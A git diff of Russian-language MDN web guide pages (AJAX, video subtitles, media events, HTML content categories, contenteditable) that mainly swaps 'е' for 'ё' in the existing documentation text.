      Этот код берет объект XMLDocument, возвращаемый responseXML и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть test.xml можно здесь, а обновленный скрипт здесь.

      +

      Этот код берет объект XMLDocument, возвращаемый responseXML и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть test.xml можно здесь, а обновлённый скрипт здесь.

      Чтобы узнать больше о методах DOM, посмотрите реализация DOM в Mozilla.

      diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html index 7cf72beec7..25b4e612df 100644 --- a/files/ru/web/guide/ajax/index.html +++ b/files/ru/web/guide/ajax/index.html @@ -31,7 +31,7 @@ translation_of: Web/Guide/AJAX
      Простой путь Ajax
      -
      "Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все еще используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."
      +
      "Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все ещё используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."
      diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html index 2fc93f687e..667568c42a 100644 --- a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html @@ -7,13 +7,13 @@ translation_of: >- ---
      -

      В других статьях мы рассмотрели как  создать cross browser видео плеер используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как  стилизовать плеер. В этой статье мы возьмем тот же плеер и покажем как добавить  подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.

      +

      В других статьях мы рассмотрели как  создать cross browser видео плеер используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как  стилизовать плеер. В этой статье мы возьмём тот же плеер и покажем как добавить  подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.

      Пример видео с подписями

      -

      В этой статье мы сошлемся на пример плеера с подписями. Этот пример использует отрывок из Sintel open movie, созданного Blender Foundation.

      +

      В этой статье мы сошлёмся на пример плеера с подписями. Этот пример использует отрывок из Sintel open movie, созданного Blender Foundation.

      Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

      @@ -29,7 +29,7 @@ translation_of: >-

      Подписи и субтитры не одно и тоже: они имеют существенные различия для зрителя, и передают различную информацию, мы рекомендуем ознакомится с различиями, если вы не уверены, что они есть. Однако технически они реализуются одинаково, поэтому материал в нашей статье применим к обоим.

      -

      В этой статье мы сошлемся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.

      +

      В этой статье мы сошлёмся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.

      Элемент <track> 

      @@ -37,7 +37,7 @@ translation_of: >-

      WebVTT

      -

      Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату,  такому как Web Video Text Tracks (WebVTT) формат. WebVTT specification всё еще работает, по этому основные его части стабильны и мы можем использовать их сегодня. 

      +

      Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату,  такому как Web Video Text Tracks (WebVTT) формат. WebVTT specification всё ещё работает, по этому основные его части стабильны и мы можем использовать их сегодня. 

      Поставщики видео контента (такие как Blender Foundation) предоставляют и подписи и субтитры в текстовом формате с их видео, но они обычно в SubRip Text (SRT) формате. Этот формат может быть легко переконвертирован в WebVTT, используя  online  конвертер  например такой как srt2vtt.

      @@ -123,15 +123,15 @@ translation_of: >- video.textTracks[i].mode = 'hidden'; }
      -

      Свойство video.textTracks  содержит массив всех текстовых треков, присоединенных к видео. Мы проходим по каждому и устанавливаем его  mode в hidden

      +

      Свойство video.textTracks  содержит массив всех текстовых треков, присоединённых к видео. Мы проходим по каждому и устанавливаем его  mode в hidden

      -

      Примечание:  WebVTT API дает нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента  <track>

      +

      Примечание:  WebVTT API даёт нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента  <track>

      Building a caption menu

      Наша цель - это использовать кнопку subtitles , которую мы добавили ранее, чтобы дать возможность пользователю выбрать тот язык, который он хочет или полностью отключить субтитры.

      -

      Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идет. Это меню создается динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов  <track> в разметке видео.

      +

      Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идёт. Это меню создаётся динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов  <track> в разметке видео.

      Все что нам необходимо сделать - это пройти через  textTracks, читая их свойства и строя меню из них:

      diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html index e4d2637356..8eae6fbe73 100644 --- a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html @@ -211,6 +211,6 @@ myAudio.buffered.end(1); // returns 19

      Надо заметить, что есть свойство played, сообщающее, были ли воспроизведены интервалы полностью. Пример:

      -
      var played = audio.played; // вернет объект TimeRanges
      +
      var played = audio.played; // вернёт объект TimeRanges

      Если просуммировать все интервалы audio.played, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.

      diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html index 0114b27893..4c529df53a 100644 --- a/files/ru/web/guide/css/block_formatting_context/index.html +++ b/files/ru/web/guide/css/block_formatting_context/index.html @@ -43,7 +43,7 @@ translation_of: Web/Guide/CSS/Block_formatting_context

      Давайте рассмотрим пару примеров, чтобы рассмотреть эффект от создания нового блочного контекста форматирования.

      -

      В примере ниже мы имеем плавающий элемент внутри <div> с заданным border. Содержимое этого <div> обтекает плавающий элемент. Так как содержимое float выше, чем остальное содержимое, обтекающее его, border элемента div теперь проходит сквозь float. Как объясняется в руководстве In Flow and Out of Flow, плавающий элемент был исключен из потока элементов, так что фон и граница div включает только его содержимое, но не элемент float

      +

      В примере ниже мы имеем плавающий элемент внутри <div> с заданным border. Содержимое этого <div> обтекает плавающий элемент. Так как содержимое float выше, чем остальное содержимое, обтекающее его, border элемента div теперь проходит сквозь float. Как объясняется в руководстве In Flow and Out of Flow, плавающий элемент был исключён из потока элементов, так что фон и граница div включает только его содержимое, но не элемент float

      {{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

      diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html index 8401bd0739..fbbdde6848 100644 --- a/files/ru/web/guide/events/event_handlers/index.html +++ b/files/ru/web/guide/events/event_handlers/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Events/Event_handlers

      Регистрация обработчиков onevent

      -

      Обработчики onevent - это свойства определенных элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:

      +

      Обработчики onevent - это свойства определённых элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:

      • Клик мышкой
      • diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html index e670fc0d15..cd85e3eeac 100644 --- a/files/ru/web/guide/events/index.html +++ b/files/ru/web/guide/events/index.html @@ -25,9 +25,9 @@ translation_of: Web/Guide/Events

        Custom events page описывает, как шаблон кода события может быть использован в пользовательском коде, чтобы определить новые типы событий, испускаемые от пользовательских объектов, зарегистрируйтесь функции слушателядля обработки этих событий, и вызова события в коде пользователя.

        -

        Остальные страницы описывают, как использовать события разных видов, определенных в веб-браузерах. К сожалению, эти события были определены по частям, веб-браузеры развивались таким образом, что нет удовлетворения систематическим характеристикам событий встроенным или определенным в современных веб-браузерах.

        +

        Остальные страницы описывают, как использовать события разных видов, определённых в веб-браузерах. К сожалению, эти события были определены по частям, веб-браузеры развивались таким образом, что нет удовлетворения систематическим характеристикам событий встроенным или определённым в современных веб-браузерах.

        -

        Устройство, на котором работа веб-браузера может спровоцировать событие, например связанное с изменением его положения и ориентации в реальном мире, частично описано page on orientation coordinate systems и page on the use of 3D transforms. Они разные, но похожи, с измененной вертикальной ориентации устройства.

        +

        Устройство, на котором работа веб-браузера может спровоцировать событие, например связанное с изменением его положения и ориентации в реальном мире, частично описано page on orientation coordinate systems и page on the use of 3D transforms. Они разные, но похожи, с изменённой вертикальной ориентации устройства.

        Окно в котором отображается браузер может вызвать события, к примеру, изменить размер, если пользователь максимизирует окно или изменит его размер.

        @@ -42,13 +42,13 @@ translation_of: Web/Guide/Events
      • события нажатия на экран и устаревшие экспериментальные события нажатия на экран (от Mozilla).
      -

      Модификация в структуре веб-страницы или содержании может быть вызвано некоторым событием описанным в mutation events page, но их использование устарело в пользу более легкого Mutation Observer подхода.

      +

      Модификация в структуре веб-страницы или содержании может быть вызвано некоторым событием описанным в mutation events page, но их использование устарело в пользу более лёгкого Mutation Observer подхода.

      Потоки Медиа, встроенный в HTML документа, может вызвать некоторые события, страница описания media events.

      Сетевые запросы, сделанные веб-страницей, могут вызвать некоторые события.

      -

      Есть много других источников событий, определенных в веб-браузере, страницы которых пока не доступны в данном руководстве.

      +

      Есть много других источников событий, определённых в веб-браузере, страницы которых пока не доступны в данном руководстве.

      Примечание: Это руководство событие Разработчика нуждается в существенной работе.Структура должна быть реорганизована и страницы переписаны. Мы надеемся, что все, что вы знаете и должны знать о событиях будет опубликовано здесь.

      diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html index a3a13cc821..6c35079a6e 100644 --- a/files/ru/web/guide/events/media_events/index.html +++ b/files/ru/web/guide/events/media_events/index.html @@ -8,7 +8,7 @@ tags: - события translation_of: Web/Guide/Events/Media_events --- -

      Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведен их список и описание.

      +

      Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведён их список и описание.

      @@ -294,7 +294,7 @@ translation_of: Web/Events
      {{Event("fullscreenchange")}}Элемент был переведен в полноэкранный режим или обратно в нормальный режим.Элемент был переведён в полноэкранный режим или обратно в нормальный режим.
      {{Event("fullscreenerror")}}
      {{Event("dblclick")}}На элементе дважды щелкается кнопка указывающего устройства.На элементе дважды щёлкается кнопка указывающего устройства.
      {{Event("mousedown")}}
      {{Event("mouseenter")}}Указывающее устройство перемещено на элемент, к которому подключен обработчик.Указывающее устройство перемещено на элемент, к которому подключён обработчик.
      {{Event("mouseleave")}}Указывающее устройство перемещается от элемента, к которому подключен обработчик.Указывающее устройство перемещается от элемента, к которому подключён обработчик.
      {{Event("mousemove")}}
      {{Event("mouseover")}}
      Указывающее устройство перемещается на элемент, к которому подключен обработчик, или на один из его дочерних элементов.Указывающее устройство перемещается на элемент, к которому подключён обработчик, или на один из его дочерних элементов.
      {{Event("mouseout")}}Указывающее устройство перемещается от элемента, к которому подключен обработчик, или от одного из его дочерних элементов.Указывающее устройство перемещается от элемента, к которому подключён обработчик, или от одного из его дочерних элементов.
      {{Event("mouseup")}}
      @@ -26,7 +26,7 @@ translation_of: Web/Guide/Events/Media_events - + @@ -86,7 +86,7 @@ translation_of: Web/Guide/Events/Media_events - + @@ -114,7 +114,7 @@ translation_of: Web/Guide/Events/Media_events - + diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html index 7be572dc0f..326926fe3a 100644 --- a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html +++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html @@ -7,13 +7,13 @@ translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers

      Эта обзорная статья о событиях и их обработчиках описывает шаблон проектирования кода, который используется для реагирования на события, возникающие, когда браузер получает доступ к web-странице, и содержит подборку типов подобных событий, которые современные браузеры могут обрабатывать.

      -

      События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с ее содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчет времени анимации.

      +

      События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с её содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчёт времени анимации.

      -

      События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остается неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети, скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы, нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи "Неудобные API: Теория DOM", которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.

      +

      События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остаётся неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети, скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы, нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи "Неудобные API: Теория DOM", которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.

      A comparison of the sequential and event-driven browser load sequences.
      -

      Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер еще не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая этот.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.

      +

      Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер ещё не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая этот.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.

      Шаблон проектирования событий

      @@ -58,9 +58,9 @@ buttonDOMElement.addEventListener('click', example_click_handler);

      {{ EmbedLiveSample('Button_Event_Handler') }}

      -

      Этот код полагается на соглашение о том, что существует некоторый вид события, называемый 'click' , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом Event (на данный момент, в этом случае производный от объекта MouseEvent ) и будет запущен после манипуляций пользователя с элементами button на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдет, buttonDOMElement объекта JavaScript вызовет функцию example_click_handler с объектом Event в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту ev, так как тот передается в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.

      +

      Этот код полагается на соглашение о том, что существует некоторый вид события, называемый 'click' , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом Event (на данный момент, в этом случае производный от объекта MouseEvent ) и будет запущен после манипуляций пользователя с элементами button на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдёт, buttonDOMElement объекта JavaScript вызовет функцию example_click_handler с объектом Event в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту ev, так как тот передаётся в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.

      -

      Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обернут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:

      +

      Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обёрнут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:

      var funcInit = function(){
           // user code goes here and can safely address all the HTML elements from the page
      @@ -69,7 +69,7 @@ buttonDOMElement.addEventListener('click', example_click_handler);
      document.addEventListener('DOMContentLoaded', funcInit); -

      так что этот код будет вызван только после того, как объект document вызовет событие 'DOMContentLoaded', потому что HTML был проанализирован и были созданы объекты Javasript,   представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передает аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.

      +

      так что этот код будет вызван только после того, как объект document вызовет событие 'DOMContentLoaded', потому что HTML был проанализирован и были созданы объекты Javasript,   представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передаёт аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.

      Шаблон легко изучить и внедрить. Сложность с событиями возникает из-за необходимости изучить большое разнообразие событий, которые представлены в современных web-браузерах. Так же есть некоторая сложность в понимании, как писать обработчики, так как данный код работает асинхронно и потенциально может быть вызван несколько раз подряд, но в немного другой ситуации.

      @@ -100,7 +100,7 @@ document.addEventListener('DOMContentLoaded', funcInit);
    • глобальный объект window вызывает событие, называемое 'load', когда страница закончила рендеринг, подразумевая, что все ресурсы были скачаны и применены, так что скрипт был выполнен и изображения отображены,
    • глобальный объект window вызывает событие, называемое 'resize', когда высота или ширина окна браузера была изменена пользователем,
    • объект DOM document, представляющий HTML-документ, вызывает событие, называемое 'DOMContentLoaded', когда документ закончил загрузку,
    • -
    • объект узла DOM, такой как div или button, вызывающий событие, называемое 'click', когда пользователь нажимает кнопку мыши, пока ее указатель находится поверх узла DOM на HTML-странице.
    • +
    • объект узла DOM, такой как div или button, вызывающий событие, называемое 'click', когда пользователь нажимает кнопку мыши, пока её указатель находится поверх узла DOM на HTML-странице.
    • diff --git a/files/ru/web/guide/graphics/index.html b/files/ru/web/guide/graphics/index.html index 600c9cd4dd..70c4cc4c20 100644 --- a/files/ru/web/guide/graphics/index.html +++ b/files/ru/web/guide/graphics/index.html @@ -4,7 +4,7 @@ slug: Web/Guide/Graphics translation_of: Web/Guide/Graphics original_slug: Web/Guide/Графика --- -

      Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства  {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать ее каким-либо образом после. Как это проделать можно узнать в следующих статьях.

      +

      Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства  {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать её каким-либо образом после. Как это проделать можно узнать в следующих статьях.

      diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html index 16e41106a0..1334570d7b 100644 --- a/files/ru/web/guide/html/content_categories/index.html +++ b/files/ru/web/guide/html/content_categories/index.html @@ -3,7 +3,7 @@ title: Категории контента slug: Web/Guide/HTML/Content_categories translation_of: Web/Guide/HTML/Content_categories --- -

      Каждый элемент HTML принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задает на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит ни в одну из этих категорий.

      +

      Каждый элемент HTML принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задаёт на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит ни в одну из этих категорий.

      Существует три типа категорий контента:

      @@ -49,12 +49,12 @@ translation_of: Web/Guide/HTML/Content_categories

      К этой категории принадлежат элементы {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} и {{HTMLElement("section")}}. 

      -

      Не стоит путать данную модель контента с категорией корня задания разделов, которая изолирует свое содержимое от обычной структуры.

      +

      Не стоит путать данную модель контента с категорией корня задания разделов, которая изолирует своё содержимое от обычной структуры.

      Заголовочный контент

      -

      Заголовочный контент задает заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.

      +

      Заголовочный контент задаёт заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.

      Данной категории принадлежат такие элементы, как {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} и {{HTMLElement("hgroup")}}.

      @@ -63,7 +63,7 @@ translation_of: Web/Guide/HTML/Content_categories
      -

      Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удален из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.

      +

      Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удалён из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.

      Фразовый контент

      @@ -72,7 +72,7 @@ translation_of: Web/Guide/HTML/Content_categories

      К данной категории принадлежат следующие элементы:  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и обычный текст (не только состоящий из символов пробелов).

      -

      Еще несколько элементов входят в данную категорию при соблюдении особых условий:

      +

      Ещё несколько элементов входят в данную категорию при соблюдении особых условий:

      • {{HTMLElement("a")}}, если содержит в себе только фразовый контент
      • @@ -86,12 +86,12 @@ translation_of: Web/Guide/HTML/Content_categories

        Встроенный контент

        -

        Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имен. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.

        +

        Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имён. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.

        Интерактивный контент

        К интерактивному контенту относятся элементы, который специально разработаны для взаимодействия с пользователем. В данную категорию входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.
        - Некоторые элементы считаются интерактивным контентом только при соблюдении определенных условий:

        + Некоторые элементы считаются интерактивным контентом только при соблюдении определённых условий:

        • {{HTMLElement("audio")}}, если указан атрибут {{htmlattrxref("controls", "audio")}}
        • @@ -104,7 +104,7 @@ translation_of: Web/Guide/HTML/Content_categories

          Явный контент

          -

          Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображен и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.

          +

          Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображён и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.

          Контент форм

          @@ -143,7 +143,7 @@ translation_of: Web/Guide/HTML/Content_categories

          Элементы поддержки скриптов

          -

          Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путем либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.

          +

          Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путём либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.

          Элементами поддержки скриптов являются:

          diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html index c260371219..9f8b6b6389 100644 --- a/files/ru/web/guide/html/editable_content/index.html +++ b/files/ru/web/guide/html/editable_content/index.html @@ -12,13 +12,13 @@ translation_of: Web/Guide/HTML/Editable_content

          Все, что вам нужно сделать, это установить атрибут {{htmlattrxref("contenteditable")}} почти на любой элемент HTML, чтобы сделать его доступным для редактирования.

          -

          Вот простой пример, который создает элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.

          +

          Вот простой пример, который создаёт элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.

          <div contenteditable="true">
             Этот текст может быть отредактирован пользователем.
           </div>
          -

          Вот приведенный выше HTML-код в песочнице:

          +

          Вот приведённый выше HTML-код в песочнице:

          {{ EmbedLiveSample('Как_это_работает') }} 

          @@ -30,9 +30,9 @@ translation_of: Web/Guide/HTML/Editable_content

          Использование  contenteditable  в разных браузерах было болезненным в течение длительного времени из-за различий в сгенерированной разметке между браузерами. Например, даже что-то простое, что происходит, когда вы нажимаете Enter/Return для создания новой строки текста внутри редактируемого элемента, обрабатывалось по-разному в основных браузерах (Firefox вставлял элементы {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, в Chrome/Safari использовался {{htmlelement("div")}}). 

          -

          К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с  Firefox 60,  Firefox будет обновлен, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.

          +

          К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с  Firefox 60,  Firefox будет обновлён, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.

          -

          Попробуйте это в приведенном выше примере.

          +

          Попробуйте это в приведённом выше примере.

          Примечание: Internet Explorer, который больше не разрабатывается, использует элементы {{htmlelement("p")}} вместо <div>.

          @@ -103,7 +103,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");Мультимедиа:создание и взаимодействие с видео и звуком;
        • 2D/3D Графика и эффекты: способы значительно разнообразить  представление;
        • Доступ к устройствам: использование разных устройств для ввода и вывода информации;
        • -
